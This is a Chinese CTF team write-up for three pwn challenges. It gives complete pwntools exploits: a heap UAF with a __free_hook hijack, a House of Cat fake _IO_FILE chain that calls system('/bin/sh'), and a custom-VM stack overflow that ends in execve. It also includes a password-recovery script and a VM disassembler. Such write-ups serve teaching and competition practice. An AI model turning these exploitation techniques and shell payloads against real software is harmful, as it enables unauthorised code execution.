大伙儿第一次 AK PWN 部分,三道题分别由三个人完成,其中笔者做的是 CV_Manager

1 rcms

  1. 保护全开,存在 UAF
  2. 第一次任意分配泄露 gift 函数地址、elf 基地址
  3. 第二次任意分配到 stdout,泄露 libc
  4. 2.28 的 libc,存在 __free_hook,改写为 gift 函数
  5. 劫持 __free_hook 到 gift,打 orw

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
from optparse import OptionParser
from LibcSearcher import *

parser = OptionParser()
parser.add_option("-m", "--mode", dest="mode", default="local")
(options, args) = parser.parse_args()

context(os="linux", arch="amd64", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]
targetELF = "./pwn"

elf = ELF(targetELF, checksec=False)


def Lauch():
if options.mode == "local":
io = process(targetELF)
elif options.mode == "remote":
io = remote("node5.buuoj.cn", 27483)
elif options.mode == "debug":
io = gdb.debug(targetELF, "b *$rebase(0xef0)")
return io


io = Lauch()


def Add(idx_, size_, content_="balabala"):
io.recvuntil("4.show a connection\n")
io.sendlineafter("5.exit\n", "1")
io.sendlineafter("which one do u want to connect:\n", str(idx_))
io.sendlineafter("how much time do u want:", str(size_))
io.sendafter("plz input cmd:\n", content_)


def Delete(idx_):
io.recvuntil("4.show a connection\n")
io.sendlineafter("5.exit\n", "2")
io.sendlineafter("which connection do u want to delet:\n", str(idx_))


def Edit(idx_, content_):
io.recvuntil("4.show a connection\n")
io.sendlineafter("5.exit\n", "3")
io.sendlineafter("which connection do u want to change:\n", str(idx_))
io.sendafter("plz input ur cmd:\n", content_)


def Show(idx_):
io.recvuntil("4.show a connection\n")
io.sendlineafter("5.exit\n", "4")
io.sendlineafter("which connection do u want to show:\n", str(idx_))
content_ = io.recvline(keepends=False)
return content_


def Quit():
io.recvuntil("4.show a connection\n")
io.sendlineafter("5.exit\n", "5")


Add(0, 0x20)
Add(1, 0x20)
Add(2, 0x50, "no consolidate")

Delete(0)
Delete(1)
heap_base = u64(Show(1).ljust(8, b"\x00"))
heap_base = (heap_base >> 12) << 12

gift_ptr = heap_base - 0x1000 + 0x250 + 0x10
Edit(1, p64(gift_ptr))
Add(3, 0x20)
Add(4, 0x20, "1")

gift_pie = u64(Show(4).ljust(8, b"\x00")) - 0x31 + 0xD8
elf_base = gift_pie - 0xFD8
log.info("gift_pie=" + hex(gift_pie))

Add(5, 0x40)
Add(6, 0x40)
Delete(6)
Delete(5)
Edit(5, p64(elf_base + elf.symbols["stdout"] - 0x10))
Add(7, 0x40)
Add(8, 0x40, b"1" * 0x10)

libc_leak = u64(Show(8)[16:24].ljust(8, b"\x00"))
libc = LibcSearcher("_IO_2_1_stdout_", libc_leak)
libc_base = libc_leak - libc.dump("_IO_2_1_stdout_")
log.info("libc_leak=" + hex(libc_leak))
log.info("libc_base=" + hex(libc_base))

free_hook = libc_base + libc.dump("__free_hook")
log.info("free_hook=" + hex(free_hook))

Add(9, 0x100)
Add(10, 0x100)
Add(11, 0x60, "new no consolidate")

Delete(10)
Delete(9)
Edit(9, p64(free_hook))
Add(12, 0x100)
Add(13, 0x100, p64(gift_pie))
Delete(11)

io.recvuntil("Congratulations!!\n")
io.recvuntil("we will give u a gift!!\n")
io.recvuntil("what are u want say to me?")
orw = asm(shellcraft.open("flag"))
orw += asm(
"""
sub rsp,0x100
"""
)
orw += asm(shellcraft.read("rax", "rsp", 100))
orw += asm(shellcraft.write(1, "rsp", "rax"))

io.send(orw)
io.interactive()

2 CV_Manager

开头需要绕过 login 函数,username 就是 “r00t”,password 需要逆向 sub_1633
直接用 GPT 即可完成逆向,是一个自定义表的 base64,解出 password 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/"

def encode_custom(b, table):
res = ""
i=0
while i<len(b):
chunk = b[i:i+3]
i+=3
while len(chunk)<3:
chunk += b'\x00'
val = (chunk[0]<<16) | (chunk[1]<<8) | chunk[2]
res += table[(val>>18)&0x3F]
res += table[(val>>12)&0x3F]
res += table[(val>>6)&0x3F]
res += table[val&0x3F]
pad = (3 - (len(b)%3))%3
if pad:
res = res[:len(res)-pad] + "="*pad
return res

def decode_custom(s, table):
s_nopad = s.rstrip('=')
bits = "".join(format(table.index(ch),'06b') for ch in s_nopad)
expected_bytes = (len(s_nopad)*6)//8
return bytes(int(bits[i*8:(i+1)*8],2) for i in range(expected_bytes))

print(decode_custom("s3BPcTsMszo=", table)) # b'p9s3w0r6'
print(encode_custom(b"p9s3w0r6", table)) # s3BPcTsMszo=

然后进入正式的堆管理器,实现了基本的 add、edit、delete、show 功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 sub_1978()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("\x1B[35m====== CV MENU ======\x1B[0m");
puts("1.Create new CV");
puts("2.Modify CV");
puts("3.Remove CV");
puts("4.View CV content");
puts("5.exit");
printf("Your choice:");
return v1 - __readfsqword(0x28u);
}

简单分析可以看出,每一个 CV 都是通过在 bss 段 0x5060 处开始存放的结构体进行管理,通过 index 索引,每一个 CV 对应连续的 0x18 字节,含义为 name_addr、chunk_addr、chunk_size

进入 exit 前把 openreadwriteexecve 都禁用了,所以我们不能打走 exit 的利用链

漏洞函数在于它提供了 choice = 666 的情况,它会检查 dword_5010 并将其置 0,所以之能用 1 次。然后 free 我们指定 index 的 chunk,存在 UAF,如果 name 为 “CCTTFFEERR!!” 就还会打印出 name_addr,也就是泄露了 elf 基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 sub_1EDE()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( dword_5010 )
{
dword_5010 = 0;
puts("index:");
__isoc99_scanf("%d", &v1);
if ( v1 < 0x10 )
{
if ( *((_QWORD *)&unk_5068 + 3 * (int)v1) )
{
free(*((void **)&unk_5068 + 3 * (int)v1));
if ( !strncmp(*((const char **)&unk_5060 + 3 * (int)v1), "CCTTFFEERR!!", 0xCuLL) )
write(1, (char *)&unk_5060 + 24 * (int)v1, 8uLL);
}
}
}
return v2 - __readfsqword(0x28u);
}

总结漏洞点:根据 dword_5010 判断,指定chunk UAF,泄露 elf 基址,并且 dword_5010 就在 bss 段上面一点,bss 段上存放了标准输入/输出/错误的地址

利用思路:

  1. 申请堆块并释放,然后申请回来,show 泄露出 heap_base,方便后续绕过 safe-linking
  2. 利用第一次 UAF 和泄露的 elf_base,修改 next,分配到 dword_5010 ,show 出 bss 节上存放的 stdout ,拿到 libc_base
  3. edit dword_5010 为 1,就可以再次拿到一个 UAF
  4. 利用第二次 UAF 和泄露的 elf_base,修改 next,分配到 _IO_2_1_stdout_
  5. 伪造 _IO_FILE,利用 House of Cat 打 puts/printf

其中 House of Cat 基本原理就是修改 vatble 为 _IO_wfile_jumps + offset,使得 puts/printf 时调用的 _IO_file_xsputn 变成 _IO_wfile_seekoff,实现调用链 puts/printf → _IO_wfile_seekoff → _IO_switch_to_wget_mode → fp._wide_data._wide_vtable+0x18

要绕过如下限制:

  • *fp && 0x8 == 0 # printf
  • *fp && 0x800 == 0 # flush
  • *(fp+0x18) < *(fp+0x20) # seekoff
  • *(fp+0x20) < *(fp+0x28) # flush
  • *(fp+0x28) > *(fp+0x30) # printf
  • *(fp+0x60) writable

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
from pwnutils import *


elf = ELF('./pwn')
libc = ELF('/home/secreu/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/libc.so.6')
libc_ver = '2.35-0ubuntu3.11_amd64'

context(os=elf.os, arch=elf.arch, log_level='debug')


def login(username, password):
io.sendlineafter(b'username:', username)
io.sendlineafter(b'password:', password)

def gift666(index):
io.sendlineafter(b'Your choice:', b'666')
io.sendlineafter(b'index:', str(index).encode())

def add(size, name):
io.sendlineafter(b'Your choice:', b'1')
io.sendlineafter(b'Introduction length:', str(size).encode())
io.sendlineafter(b'your name:', name)

def edit(index, content):
io.sendlineafter(b'Your choice:', b'2')
io.sendlineafter(b'Which CV do you want to modify:', str(index).encode())
io.sendafter(b'Please briefly introduce yourself:', content)

def delete(index):
io.sendlineafter(b'Your choice:', b'3')
io.sendlineafter(b'Which CV do you want to remove:', str(index).encode())

def show(index):
io.sendlineafter(b'Your choice:', b'4')
io.sendlineafter(b'Which CV do you want to view:', str(index).encode())

def bye():
io.sendlineafter(b'Your choice:', b'5')

def exploit():
login(b'r00t', b'p9s3w0r6')

add(0x100, b"CCTTFFEERR!!")
delete(0)
add(0x100, b"CCTTFFEERR!!")

show(0)
io.recvuntil(b'introduction:')
heap_leak = u64(io.recv(5).strip().ljust(8, b'\x00'))
heap_base = heap_leak << 12
log.info(f'heap_base: {hex(heap_base)}')

add(0x100, b'chunk1') # 1
delete(1)
gift666(0) # UAF: chunk0
elf_base = u64(io.recvuntil(b'=')[1:9]) - 0x51E0
log.info(f"elf_base: {hex(elf_base)}")

gift_flag = elf_base + 0x5010
fake_next = (heap_base >> 12) ^ gift_flag
edit(0, p64(fake_next))

add(0x100, b"CCTTFFEERR!!") # 1
add(0x100, b'gift_flag') # 2
show(2)
io.recvuntil(b'introduction:')
_IO_2_1_stdout_ = u64(io.recv(0x16)[0x10:].ljust(8, b'\x00'))
libc_base = _IO_2_1_stdout_ - libc.symbols['_IO_2_1_stdout_']
log.info(f'libc_base: {hex(libc_base)}')

edit(2, p32(1)) # set gift_flag = 1

add(0x200, b'CCTTFFEERR!!') # 3
add(0x200, b'chunk4') # 4
delete(4)
gift666(3)

fake_next = (heap_base >> 12) ^ _IO_2_1_stdout_
edit(3, p64(fake_next))

add(0x200, b'CCTTFFEERR!!') # 4
add(0x200, b'_IO_2_1_stdout_') # 5

command = b'/bin/sh\x00'
io_file_addr = _IO_2_1_stdout_

_IO_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
system = libc_base + libc.symbols['system']
bss = libc_base + 0x21b8a0

io_file = (b' ' + command).ljust(0x18, b'\x00')
io_file += p64(system) # system addr < .bss addr
io_file += p64(bss) + p64(bss + 8) # flush: _IO_write_base < _IO_write_ptr
io_file += p64(0) # _IO_write_ptr > _IO_write_end

io_file = io_file.ljust(0x88, b'\x00')
io_file += p64(io_file_addr + 0x60) # _lock -> _markers

io_file = io_file.ljust(0xa0, b'\x00')
io_file += p64(io_file_addr) # _wide_data

io_file = io_file.ljust(0xd8, b'\x00')
io_file += p64(_IO_wfile_jumps + 0x10)
io_file += p64(io_file_addr) # _wide_vtable

edit(5, io_file)

io.interactive()


if __name__ == "__main__":
io = process(elf.path)
# io = remote('node5.buuoj.cn', 27004)
# io = gdb.debug(elf.path, 'b *$rebase(0x2058)')

exploit()

3 mvmp

  1. 一个虚拟机解释器, 变长指令集, 总线宽度 8 bit, 6 个通用寄存器, 1 个指令指针寄存器, 1 个栈指针寄存器, 1 个标志寄存器, 总内存大小 0x30000 字节, 程序代码位于内存起始地址处, 栈从最高地址向下生长
  2. 与一般的虚拟机题目是自己输入 vmcode 不同, 该题给定 vmcode, 然后直接在解释器中运行, 需要逆向出指令集来分析虚拟机程序逻辑, 找出漏洞并利用
  3. 写一个反汇编器, 将 vmcode 反汇编成汇编代码, 然后分析汇编代码, 发现该虚拟机程序中存在栈溢出漏洞, 程序首先调用 write 系统调用打印出 “What’s your name?”, 然后通过 read 获取 0x80 大小的输入, 但实际上开辟的缓冲区只有 0x18 字节, 而后面就是 “vuln函数” 的返回地址了, 然后构造合适的 payload, 使程序返回时跳转到我们输入的 vmcode, 即可实现控流劫持

反汇编器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python3

vm = open('vmcode', 'rb').read()
vm = vm[4:] # 跳过长度头

i = 0

def read_u8():
global i
b = vm[i]
i += 1
return b

def read_u24():
global i
b = vm[i:i+3]
i += 3
return int.from_bytes(b, 'big')

def read_u32():
global i
b = vm[i:i+4]
i += 4
return int.from_bytes(b, 'little')

OPNAMES = {
41: "JMP",
42: "JNZ",
43: "JIF_EQ_2",
44: "JIF_EQ_1",
45: "JIF_NE_2",
46: "JIF_NE_1",
47: "JIF_NE_0",
}

SYSCALLS = {
0x3b: "execve",
0x01: "write",
0x00: "read",
0x3c: "exit",
}

while i < len(vm):
start = i
opcode = read_u8()

op = opcode >> 2
fmt = opcode & 3

if fmt == 0: # imm24 (3 bytes)
imm = read_u24()
if (imm & 0x800000):
imm = -(imm & 0x7fffff)
if op == 36:
print(f"{start:04X}: SUB rsp, 0x{imm*4:x}")
elif op == 37:
print(f"{start:04X}: ADD rsp, 0x{imm*4:x}")
elif op == 41:
print(f"{start:04X}: JMPC 0x{i+imm:x}")
elif op == 42:
print(f"{start:04X}: JMPC2 0x{i+imm:x}")
elif op == 44:
print(f"{start:04X}: JIF_EQ_1 0x{i+imm:x}")
elif op == 48:
print(f"{start:04X}: CALL 0x{i+imm:x}")
elif op == 59:
print(f"{start:04X}: RETN imm=0x{imm:x}")
elif op == 51:
print(f"{start:04X}: SYSCALL {SYSCALLS[imm]}")
elif op == 53:
print(f"{start:04X}: SYSCALL {SYSCALLS[imm]}, &r1")
else:
print(f"{start:04X}: OP{op} imm=0x{imm:x}")

elif fmt == 1: # reg
r = read_u8()
if op == 31:
print(f"{start:04X}: PUSH r{r}")
elif op == 32:
print(f"{start:04X}: POP r{r}")
elif op == 33:
print(f"{start:04X}: INC r{r}")
elif op == 34:
print(f"{start:04X}: DEC r{r}")
elif op == 35:
print(f"{start:04X}: MOV r{r}, rsp")
elif op in (41,42,43,44,45,46,47):
print(f"{start:04X}: {OPNAMES[op]} r{r}")
elif op == 48:
print(f"{start:04X}: RET r{r}")
else:
print(f"{start:04X}: OP{op} r{r}")

elif fmt == 2: # reg, reg
r1 = read_u8()
r2 = read_u8()
if op == 1 or op == 2:
print(f"{start:04X}: CMP r{r1}, r{r2}")
elif op == 3:
print(f"{start:04X}: MOV r{r1}, r{r2}")
elif op == 10:
print(f"{start:04X}: ADD r{r1}, r{r2}")
elif op == 11:
print(f"{start:04X}: SUB r{r1}, r{r2}")
elif op == 12:
print(f"{start:04X}: LDM8 r{r1}, MEM[r{r2}]")
elif op == 14:
print(f"{start:04X}: LDM32 r{r1}, MEM[r{r2}]")
elif op == 15:
print(f"{start:04X}: STM8 MEM[r{r1}], r{r2}")
else:
print(f"{start:04X}: OP{op} r{r1}, r{r2}")

elif fmt == 3: # reg + imm32 (sub_1248)
r = read_u8()
imm = read_u32()
if op == 1 or op == 2:
print(f"{start:04X}: CMP r{r1}, 0x{imm:x}")
elif op == 17:
print(f"{start:04X}: STM32 r{r}, 0x{imm:x}")
elif op == 16:
print(f"{start:04X}: STM16 r{r}, 0x{imm:x}")
elif op == 10:
print(f"{start:04X}: ADD r{r}, 0x{imm:x}")
elif op == 3:
print(f"{start:04X}: MOV r{r}, 0x{imm:x}")
else:
print(f"{start:04X}: OP{op} r{r}, 0x{imm:x}")
else:
print(f"{start:04X}: UNKNOWN opcode={opcode}")

得到反汇编结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
0000: SUB rsp, 0x20
0004: MOV r0, rsp
0006: STM32 r0, 0x74616857
000C: ADD r0, 0x4
0012: STM32 r0, 0x79207327
0018: ADD r0, 0x4
001E: STM32 r0, 0x2072756f
0024: ADD r0, 0x4
002A: STM32 r0, 0x656d616e
0030: ADD r0, 0x4
0036: STM16 r0, 0xa3f
003C: MOV r0, rsp
003E: PUSH r0
0040: CALL 0x1aa
0044: MOV r2, r0
0047: MOV r1, rsp
0049: MOV r0, 0x1
004F: PUSH r2
0051: PUSH r1
0053: PUSH r0
0055: CALL 0xe4
0059: CALL 0x69
005D: CALL 0xad
0061: ADD rsp, 0x20
0065: RETN imm=0x0
0069: SUB rsp, 0x18
006D: MOV r0, rsp
006F: MOV r1, 0x0
0075: MOV r2, 0x18
007B: PUSH r2
007D: PUSH r1
007F: PUSH r0
0081: CALL 0x10d
0085: MOV r1, rsp
0087: MOV r0, 0x0
008D: MOV r2, 0x50
0093: PUSH r2
0095: PUSH r1
0097: PUSH r0
0099: CALL 0xbb
009D: MOV r1, rsp
009F: PUSH r1
00A1: CALL 0x146
00A5: ADD rsp, 0x18
00A9: RETN imm=0x0
00AD: MOV r0, 0x0
00B3: SYSCALL exit
00B7: RETN imm=0x0
00BB: PUSH r5
00BD: MOV r5, rsp
00BF: ADD r5, 0x8
00C5: LDM32 r0, MEM[r5]
00C8: ADD r5, 0x4
00CE: LDM32 r1, MEM[r5]
00D1: ADD r5, 0x4
00D7: LDM32 r2, MEM[r5]
00DA: SYSCALL read, &r1
00DE: POP r5
00E0: RETN imm=0x3
00E4: PUSH r5
00E6: MOV r5, rsp
00E8: ADD r5, 0x8
00EE: LDM32 r0, MEM[r5]
00F1: ADD r5, 0x4
00F7: LDM32 r1, MEM[r5]
00FA: ADD r5, 0x4
0100: LDM32 r2, MEM[r5]
0103: SYSCALL write, &r1
0107: POP r5
0109: RETN imm=0x3
010D: PUSH r5
010F: MOV r5, rsp
0111: ADD r5, 0x8
0117: LDM32 r0, MEM[r5]
011A: ADD r5, 0x4
0120: LDM32 r1, MEM[r5]
0123: ADD r5, 0x4
0129: LDM32 r2, MEM[r5]
012C: MOV r3, 0x0
0132: STM8 MEM[r0], r1
0135: INC r0
0137: INC r3
0139: CMP r3, r2
013C: JIF_EQ_1 0x132
0140: POP r5
0142: RETN imm=0x3
0146: PUSH r5
0148: MOV r5, rsp
014A: ADD r5, 0x8
0150: SUB rsp, 0xc
0154: MOV r1, rsp
0156: MOV r0, r1
0159: STM32 r0, 0x6c6c6568
015F: ADD r0, 0x4
0165: STM16 r0, 0x206f
016B: MOV r0, 0x1
0171: MOV r2, 0x6
0177: PUSH r2
0179: PUSH r1
017B: PUSH r0
017D: CALL 0xe4
0181: LDM32 r1, MEM[r5]
0184: PUSH r1
0186: CALL 0x1aa
018A: MOV r2, r0
018D: LDM32 r1, MEM[r5]
0190: MOV r0, 0x1
0196: PUSH r2
0198: PUSH r1
019A: PUSH r0
019C: CALL 0xe4
01A0: ADD rsp, 0xc
01A4: POP r5
01A6: RETN imm=0x1
01AA: PUSH r5
01AC: MOV r5, rsp
01AE: ADD r5, 0x8
01B4: LDM32 r1, MEM[r5]
01B7: MOV r0, r1
01BA: LDM8 r2, MEM[r0]
01BD: CMP r2, 0x0
01C3: JMPC2 0x1cd
01C7: INC r0
01C9: JMPC 0x1ba
01CD: SUB r0, r1
01D0: POP r5
01D2: RETN imm=0x1

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3

from pwn import *

# p = process('./vvmm')
# p = gdb.debug('./vvmm')
p = remote('node5.buuoj.cn', 28084)

payload = b'/bin/sh\x00'.ljust(0x18, b'\x00')
payload += p32(0x2ffe0) # ret addr(index)
payload += p8(0xf) + p8(0) + p32(0x2ffc4) # mov r0, /bin/sh
payload += p8(0xf) + p8(1) + p32(0) # mov r1, 0
payload += p8(0xf) + p8(2) + p32(0) # mov r2, 0
payload += p8(0xd0) + p8(0x0) + p8(0x0) + p8(0x3b) # syscall execve(r0 + base, r1, r2)

p.send(payload)

p.interactive()